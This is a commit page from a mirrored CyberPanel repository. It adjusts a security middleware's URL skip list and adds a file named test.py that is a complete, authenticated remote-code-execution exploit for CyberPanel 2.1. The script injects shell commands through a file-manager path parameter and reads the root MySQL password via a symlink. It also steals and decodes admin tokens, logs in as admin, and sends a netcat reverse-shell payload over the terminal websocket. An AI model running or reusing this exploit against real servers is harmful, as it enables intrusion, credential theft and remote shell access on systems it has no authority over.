mirror of
https://github.com/usmannasir/cyberpanel.git
synced 2026-01-26 09:19:05 +01:00
This commit is contained in:
@@ -72,7 +72,7 @@ class secMiddleware:
|
||||
final_json = json.dumps(final_dic)
|
||||
return HttpResponse(final_json)
|
||||
|
||||
if request.build_absolute_uri().find('api/verifyConn') > -1 or request.build_absolute_uri().find('webhook') > -1 or request.build_absolute_uri().find('saveSpamAssassinConfigurations') > -1 or request.build_absolute_uri().find('docker') > -1 or request.build_absolute_uri().find('cloudAPI') > -1 or request.build_absolute_uri().find('filemanager') > -1 or request.build_absolute_uri().find('verifyLogin') > -1 or request.build_absolute_uri().find('submitUserCreation') > -1:
|
||||
if request.build_absolute_uri().find('api/verifyConn') > -1 or request.build_absolute_uri().find('webhook') > -1 or request.build_absolute_uri().find('saveSpamAssassinConfigurations') > -1 or request.build_absolute_uri().find('docker') > -1 or request.build_absolute_uri().find('cloudAPI') > -1 or request.build_absolute_uri().find('verifyLogin') > -1 or request.build_absolute_uri().find('submitUserCreation') > -1:
|
||||
continue
|
||||
if key == 'recordContentAAAA' or key == 'backupDestinations' or key == 'ports' \
|
||||
or key == 'imageByPass' or key == 'passwordByPass' or key == 'cronCommand' \
|
||||
|
||||
233
plogical/test.py
233
plogical/test.py
@@ -0,0 +1,233 @@
|
||||
# Title: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated)
|
||||
# Date: 27.08.2021
|
||||
# Author: Numan Türle
|
||||
# Vendor Homepage: https://cyberpanel.net/
|
||||
# Software Link: https://github.com/usmannasir/cyberpanel
|
||||
# Version: <=2.1
|
||||
# https://www.youtube.com/watch?v=J_8iLELVgkE
|
||||
|
||||
|
||||
# !/usr/bin/python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# CyberPanel - Remote Code Execution (Authenticated)
|
||||
# author: twitter.com/numanturle
|
||||
# usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE]
|
||||
# cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password
|
||||
|
||||
|
||||
import argparse, requests, warnings, json, re, base64, websocket, ssl, _thread, time
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
from cmd import Cmd
|
||||
|
||||
warnings.simplefilter('ignore', InsecureRequestWarning)
|
||||
|
||||
|
||||
def init():
|
||||
parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution')
|
||||
parser.add_argument('-u', '--host', help='Host', type=str, required=True)
|
||||
parser.add_argument('-l', '--login', help='Username', type=str, required=True)
|
||||
parser.add_argument('-p', '--password', help='Password', type=str, required=True)
|
||||
parser.add_argument('-f', '--file', help='File', type=str)
|
||||
args = parser.parse_args()
|
||||
exploit(args)
|
||||
|
||||
|
||||
def exploit(args):
|
||||
def on_open(ws):
|
||||
verifyPath, socket_password
|
||||
print("[+] Socket connection successful")
|
||||
print("[+] Trying a reverse connection")
|
||||
ws.send(json.dumps({"tp": "init", "data": {"verifyPath": verifyPath, "password": socket_password}}))
|
||||
ws.send(json.dumps(
|
||||
{"tp": "client", "data": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r",
|
||||
"verifyPath": verifyPath, "password": socket_password}))
|
||||
ws.close()
|
||||
|
||||
def on_close(ws, close_status_code, close_msg):
|
||||
print("[+] Successful")
|
||||
print("[!] Disconnect from socket")
|
||||
|
||||
session = requests.Session()
|
||||
target = "https://{}:8090".format(args.host)
|
||||
username = args.login
|
||||
password = args.password
|
||||
|
||||
print("[+] Target {}".format(target))
|
||||
|
||||
response = session.get(target, verify=False)
|
||||
session_hand = session.cookies.get_dict()
|
||||
token = session_hand["csrftoken"]
|
||||
|
||||
print("[+] Token {}".format(token))
|
||||
|
||||
headers = {
|
||||
'X-Csrftoken': token,
|
||||
'Cookie': 'csrftoken={}'.format(token),
|
||||
'Referer': target
|
||||
}
|
||||
|
||||
login = session.post(target + "/verifyLogin", headers=headers, verify=False,
|
||||
json={"username": username, "password": password, "languageSelection": "english"})
|
||||
login_json = json.loads(login.content)
|
||||
|
||||
if login_json["loginStatus"]:
|
||||
session_hand_login = session.cookies.get_dict()
|
||||
|
||||
print("[+] Login Success")
|
||||
print("[+] Send request fetch websites list")
|
||||
|
||||
headers = {
|
||||
'X-Csrftoken': session_hand_login["csrftoken"],
|
||||
'Cookie': 'csrftoken={};sessionid={}'.format(token, session_hand_login["sessionid"]),
|
||||
'Referer': target
|
||||
}
|
||||
|
||||
feth_weblist = session.post(target + "/websites/fetchWebsitesList", headers=headers, verify=False,
|
||||
json={"page": 1, "recordsToShow": 10})
|
||||
feth_weblist_json = json.loads(feth_weblist.content)
|
||||
|
||||
if feth_weblist_json["data"]:
|
||||
|
||||
weblist_json = json.loads(feth_weblist_json["data"])
|
||||
domain = weblist_json[0]["domain"]
|
||||
domain_folder = "/home/{}".format(domain)
|
||||
|
||||
print("[+] Successfully {} selected".format(domain))
|
||||
print("[+] Creating ssh pub")
|
||||
|
||||
remove_ssh_folder = session.post(target + "/filemanager/controller", headers=headers, verify=False,
|
||||
json={"path": domain_folder, "method": "deleteFolderOrFile",
|
||||
"fileAndFolders": [".ssh"], "domainRandomSeed": "",
|
||||
"domainName": domain, "skipTrash": 1})
|
||||
create_ssh = session.post(target + "/websites/fetchFolderDetails", headers=headers, verify=False,
|
||||
json={"domain": domain, "folder": "{}".format(domain_folder)})
|
||||
create_ssh_json = json.loads(create_ssh.content)
|
||||
|
||||
if create_ssh_json["status"]:
|
||||
key = create_ssh_json["deploymentKey"]
|
||||
|
||||
print("[+] Key : {}".format(key))
|
||||
|
||||
explode_key = key.split()
|
||||
explode_username = explode_key[-1].split("@")
|
||||
|
||||
if explode_username[0]:
|
||||
username = explode_username[0]
|
||||
hostname = explode_username[1]
|
||||
|
||||
print("[+] {} username selected".format(username))
|
||||
print("[+] Preparing for symlink attack")
|
||||
print("[+] Attempting symlink attack with user-level command execution vulnerability #1")
|
||||
|
||||
target_file = args.file
|
||||
if not target_file:
|
||||
target_file = "/root/.my.cnf"
|
||||
domain_folder_ssh = "{}/.ssh".format(domain_folder)
|
||||
command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh, username, target_file,
|
||||
domain_folder_ssh, username)
|
||||
|
||||
completeStartingPath = "{}';{};'".format(domain_folder, command)
|
||||
print('complete starting path: %s' % completeStartingPath)
|
||||
time.sleep(5)
|
||||
# filemanager/controller - completeStartingPath - command execution vulnerability
|
||||
|
||||
symlink = session.post(target + "/filemanager/controller", headers=headers, verify=False,
|
||||
json={"completeStartingPath": completeStartingPath, "method": "listForTable",
|
||||
"home": domain_folder, "domainRandomSeed": "", "domainName": domain})
|
||||
symlink_json = json.loads(symlink.content)
|
||||
|
||||
if symlink_json["status"]:
|
||||
print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file))
|
||||
|
||||
read_file = session.post(target + "/websites/fetchFolderDetails", headers=headers, verify=False,
|
||||
json={"domain": domain, "folder": "{}".format(domain_folder)})
|
||||
read_file_json = json.loads(read_file.content)
|
||||
read_file = read_file_json["deploymentKey"]
|
||||
if not args.file:
|
||||
print("-----------------------------------")
|
||||
print(read_file.strip())
|
||||
print("-----------------------------------")
|
||||
|
||||
mysql_password = re.findall('password=\"(.*?)\"', read_file)[0]
|
||||
steal_token = "rm -rf token.txt;mysql -u root -p\"{}\" -D cyberpanel -e \"select token from loginSystem_administrator\" > '{}/token.txt".format(
|
||||
mysql_password, domain_folder)
|
||||
|
||||
print("[+] Fetching users tokens")
|
||||
|
||||
completeStartingPath = "{}';{}".format(domain_folder, steal_token)
|
||||
steal_token_request = session.post(target + "/filemanager/controller", headers=headers,
|
||||
verify=False,
|
||||
json={"completeStartingPath": completeStartingPath,
|
||||
"method": "listForTable", "home": domain_folder,
|
||||
"domainRandomSeed": "", "domainName": domain})
|
||||
token_file = domain_folder + "/token.txt"
|
||||
steal_token_read_request = session.post(target + "/filemanager/controller", headers=headers,
|
||||
verify=False, json={"fileName": token_file,
|
||||
"method": "readFileContents",
|
||||
"domainRandomSeed": "",
|
||||
"domainName": domain})
|
||||
leak = json.loads(steal_token_read_request.content)
|
||||
leak = leak["fileContents"].replace("Basic ", "").strip().split("\n")[1:]
|
||||
print("------------------------------")
|
||||
for user in leak:
|
||||
b64de = base64.b64decode(user).decode('utf-8')
|
||||
exp_username = b64de.split(":")
|
||||
if exp_username[0] == "admin":
|
||||
admin_password = exp_username[1]
|
||||
print("[+] " + b64de)
|
||||
print("------------------------------")
|
||||
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
|
||||
print("[+] Try login admin")
|
||||
|
||||
headers = {
|
||||
'X-Csrftoken': token,
|
||||
'Cookie': 'csrftoken={}'.format(token),
|
||||
'Referer': target
|
||||
}
|
||||
login_admin = session.post(target + "/verifyLogin", headers=headers, verify=False,
|
||||
json={"username": "admin", "password": admin_password,
|
||||
"languageSelection": "english"})
|
||||
login_json = json.loads(login_admin.content)
|
||||
if login_json["loginStatus"]:
|
||||
session_hand_login = session.cookies.get_dict()
|
||||
|
||||
print("[+] 4dm1n_l061n_5ucc355")
|
||||
print("[+] c0nn3c71n6_70_73rm1n4l")
|
||||
headers = {
|
||||
'X-Csrftoken': session_hand_login["csrftoken"],
|
||||
'Cookie': 'csrftoken={};sessionid={}'.format(token,
|
||||
session_hand_login["sessionid"]),
|
||||
'Referer': target
|
||||
}
|
||||
|
||||
get_websocket_token = session.get(target + "/Terminal", headers=headers, verify=False)
|
||||
verifyPath = \
|
||||
re.findall('id=\"verifyPath\">(.*?)</div>', str(get_websocket_token.content))[-1]
|
||||
socket_password = \
|
||||
re.findall('id=\"password\">(.*?)</div>', str(get_websocket_token.content))[-1]
|
||||
print("[+] verifyPath {}".format(verifyPath))
|
||||
print("[+] socketPassword {}".format(socket_password))
|
||||
print("[+] Trying to connect to socket")
|
||||
ws = websocket.WebSocketApp("wss://{}:5678".format(args.host),
|
||||
on_open=on_open,
|
||||
on_close=on_close)
|
||||
ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})
|
||||
|
||||
else:
|
||||
print("[-] Auto admin login failed")
|
||||
else:
|
||||
print(read_file)
|
||||
else:
|
||||
print("[-] Unexpected")
|
||||
else:
|
||||
print("[-] Username selected failed")
|
||||
else:
|
||||
print("[-] Fail ssh pub")
|
||||
else:
|
||||
print("[-] List error")
|
||||
else:
|
||||
print("[-] AUTH : Login failed msg: {}".format(login_json["error_message"]))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
init()
|
||||
Reference in New Issue
Block a user